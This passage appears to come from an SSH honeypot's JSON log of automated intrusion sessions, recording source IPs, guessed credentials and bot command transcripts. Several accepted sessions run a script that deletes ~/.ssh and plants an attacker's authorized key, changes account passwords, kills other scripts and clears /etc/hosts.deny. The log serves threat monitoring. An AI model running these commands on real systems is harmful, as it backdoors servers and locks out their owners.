Model"},{"seq":30,"at":"2026-08-27T12:25:35.093129+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T12:25:35.354926+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T12:25:37.433150+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"alex","password":"alex12345","method":"password","accepted":true,"tier":"other"}]} {"id":"759f2d2d-cae8-4e9a-9238-0cc155fa6cfa","name":"subtle-thrifty-plover","protocol":"ssh","channel_kind":null,"src_ip":"2.26.148.64","src_port":34182,"username":"james","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T12:25:22.725003+00:00","ended_at":"2026-08-27T12:25:24.706843+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"james","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"1af447ce-fdd1-4518-937f-e586c76cb910","name":"lucid-early-okapi","protocol":"ssh","channel_kind":null,"src_ip":"51.255.195.46","src_port":41584,"username":"alex","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T12:25:20.895177+00:00","ended_at":"2026-08-27T12:25:22.237623+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"alex","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"36a620af-bbd1-4283-a08c-bb00b45d7448","name":"drifting-pleasant-pangolin","protocol":"ssh","channel_kind":null,"src_ip":"2.26.148.64","src_port":34170,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T12:25:20.313844+00:00","ended_at":"2026-08-27T12:25:22.192943+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"488a5bfa-5307-4805-9f5a-f9fff9d70d22","name":"sturdy-windswept-cardinal","protocol":"ssh","channel_kind":null,"src_ip":"51.255.195.46","src_port":41576,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T12:25:19.353158+00:00","ended_at":"2026-08-27T12:25:20.367589+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"a7273483-844f-4f55-8407-0aa02975a1e6","name":"cobalt-mellow-vulture","protocol":"ssh","channel_kind":"exec","src_ip":"91.218.67.81","src_port":43194,"username":"danny","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":297,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T12:25:10.272603+00:00","ended_at":"2026-08-27T12:25:12.003698+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2246,"events":[{"seq":1,"at":"2026-08-27T12:24:51.704892+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T12:24:51.999099+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T12:24:56.142372+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T12:24:56.409179+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T12:24:56.706502+00:00","kind":"input","latency_ms":null,"data":"echo -e \"123\\ntAldvmukbHVe\\ntAldvmukbHVe\"|passwd|bash"},{"seq":6,"at":"2026-08-27T12:24:57.001080+00:00","kind":"input","latency_ms":null,"data":"echo \"123\\ntAldvmukbHVe\\ntAldvmukbHVe\\n\"|passwd"},{"seq":7,"at":"2026-08-27T12:24:57.296340+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T12:24:58.197285+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T12:24:58.493569+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T12:24:59.770153+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T12:25:00.068028+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T12:25:00.897744+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T12:25:01.196686+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T12:25:01.964453+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T12:25:02.261147+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T12:25:02.750342+00:00","kind":"output","latency_ms":null,"data":" 12:25:02 up 7 days, 9:15, 0 user, load average: 0.13, 0.16, 0.14\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T12:25:03.046030+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T12:25:03.761940+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T12:25:04.057766+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T12:25:04.577831+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T12:25:04.878615+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T12:25:05.525960+00:00","kind":"output","latency_ms":null,"data":"top - 12:25:05 up 7 days, 9:15, 0 user, load average: 0.13, 0.16, 0.14\nTasks: 108 total, 1 running, 107 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 6672 free, 9215 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T12:25:05.823441+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T12:25:06.685128+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T12:25:06.983145+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T12:25:07.396608+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T12:25:07.694375+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T12:25:08.228757+00:00","kind":"output","latency_ms":null,"data":"danny"},{"seq":29,"at":"2026-08-27T12:25:08.524988+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T12:25:09.976923+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T12:25:10.273413+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T12:25:11.916669+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"danny","password":"123","method":"password","accepted":true,"tier":"other"}]} {"id":"c609e80c-f74a-45fa-b811-f4993efa53cf","name":"idle-grumpy-hedgehog","protocol":"ssh","channel_kind":null,"src_ip":"91.218.67.81","src_port":43210,"username":"danny","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T12:24:54.126131+00:00","ended_at":"2026-08-27T12:24:56.054262+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"danny","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"f72e4528-4031-409e-a024-0a823793d484","name":"keen-zealous-lemur","protocol":"ssh","channel_kind":null,"src_ip":"91.218.67.81","src_port":43206,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T12:24:52.658340+00:00","ended_at":"2026-08-27T12:24:53.539746+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"ef05cdd0-65b4-41d6-8783-5d75ac4d7dbb","name":"genial-nautical-lynx","protocol":"ssh","channel_kind":"exec","src_ip":"187.111.28.131","src_port":59602,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":443,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T12:23:54.173175+00:00","ended_at":"2026-08-27T12:23:55.165052+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2302,"events":[{"seq":1,"at":"2026-08-27T12:23:31.991116+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T12:23:32.441154+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T12:23:37.145521+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T12:23:37.777204+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T12:23:38.218838+00:00","kind":"input","latency_ms":null,"data":"echo \"root:71hUKMSMKOU6\"|chpasswd|bash"},{"seq":6,"at":"2026-08-27T12:23:38.661314+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-27T12:23:39.102829+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T12:23:39.695686+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T12:23:40.141126+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T12:23:41.530311+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T12:23:41.976698+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T12:23:43.244478+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T12:23:43.686935+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T12:23:44.569324+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T12:23:45.011802+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T12:23:45.376009+00:00","kind":"output","latency_ms":null,"data":" 12:23:45 up 7 days, 9:13, 0 user, load average: 0.17, 0.13, 0.1\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T12:23:45.817550+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T12:23:46.433623+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T12:23:46.875815+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T12:23:47.690446+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T12:23:48.133439+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T12:23:48.597769+00:00","kind":"output","latency_ms":null,"data":"top - 12:23:48 up 7 days, 9:13, 0 user, load average: 0.17, 0.13, 0.1\nTasks: 110 total, 1 running, 109 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 6355 free, 9532 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T12:23:49.039949+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T12:23:49.671455+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T12:23:50.128741+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T12:23:51.029838+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T12:23:51.478498+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T12:23:51.861440+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-27T12:23:52.299224+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T12:23:53.728947+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T12:23:54.174235+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T12:23:55.027791+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"123456789m","method":"password","accepted":true,"tier":"other"}]} {"id":"08df2f51-54d1-4c35-ae9f-f6a520b52ca0","name":"valiant-glacial-porcupine","protocol":"ssh","channel_kind":"exec","src_ip":"2.26.148.64","src_port":44666,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":328,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T12:23:42.940114+00:00","ended_at":"2026-08-27T12:23:44.192085+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2304,"events":[{"seq":1,"at":"2026-08-27T12:23:24.662910+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T12:23:24.988906+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T12:23:29.205745+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T12:23:29.739228+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T12:23:30.069926+00:00","kind":"input","latency_ms":null,"data":"echo \"root:4DzwbH3etOed\"|chpasswd|bash"},{"seq":6,"at":"2026-08-27T12:23:30.392394+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-27T12:23:30.720223+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T12:23:31.182909+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T12:23:31.514196+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T12:23:32.465018+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T12:23:32.799184+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T12:23:34.314992+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T12:23:34.645812+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T12:23:35.391072+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T12:23:35.716285+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T12:23:36.069358+00:00","kind":"output","latency_ms":null,"data":" 12:23:36 up 7 days, 9:13, 0 user, load average: 0.28, 0.31, 0.22\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T12:23:36.397760+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T12:23:36.773074+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T12:23:37.101165+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T12:23:37.443664+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T12:23:37.771330+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T12:23:38.347070+00:00","kind":"output","latency_ms":null,"data":"top - 12:23:38 up 7 days, 9:13, 0 user, load average: 0.28, 0.31, 0.22\nTasks: 123 total, 1 running, 122 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 6672 free, 9215 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T12:23:38.678966+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T12:23:39.170163+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T12:23:39.497968+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T12:23:39.847774+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T12:23:40.174101+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T12:23:40.965855+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-27T12:23:41.295445+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T12:23:42.612219+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T12:23:42.941043+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T12:23:44.095001+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"Qwe123asd","method":"password","accepted":true,"tier":"other"}]} {"id":"4f90064b-960b-400b-9f25-4a883d22f38a","name":"plush-primal-reindeer","protocol":"ssh","channel_kind":null,"src_ip":"187.111.28.131","src_port":59626,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T12:23:35.609298+00:00","ended_at":"2026-08-27T12:23:37.010763+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"root","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"f11e200c-eb70-48ff-a8d6-cccf34ada516","name":"misty-rustic-muntjac","protocol":"ssh","channel_kind":"exec","src_ip":"51.255.195.46","src_port":38258,"username":"frappe","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":263,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T12:23:34.967823+00:00","ended_at":"2026-08-27T12:23:36.194833+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2263,"events":[{"seq":1,"at":"2026-08-27T12:23:16.967598+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T12:23:17.233714+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T12:23:20.635706+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T12:23:21.222084+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T12:23:21.486078+00:00","kind":"input","latency_ms":null,"data":"echo -e \"P@ssw0rd123\\nKECsnlCrVGIK\\nKECsnlCrVGIK\"|passwd|bash"},{"seq":6,"at":"2026-08-27T12:23:21.747137+00:00","kind":"input","latency_ms":null,"data":"echo \"P@ssw0rd123\\nKECsnlCrVGIK\\nKECsnlCrVGIK\\n\"|passwd"},{"seq":7,"at":"2026-08-27T12:23:22.007923+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T12:23:22.849475+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T12:23:23.112842+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T12:23:24.374226+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T12:23:24.638910+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T12:23:26.038379+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T12:23:26.303092+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T12:23:27.166456+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T12:23:27.430125+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T12:23:27.729719+00:00","kind":"output","latency_ms":null,"data":" 12:23:27 up 7 days, 9:13, 0 user, load average: 0.23, 0.28, 0.24\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T12:23:27.993876+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T12:23:28.869707+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T12:23:29.131806+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc 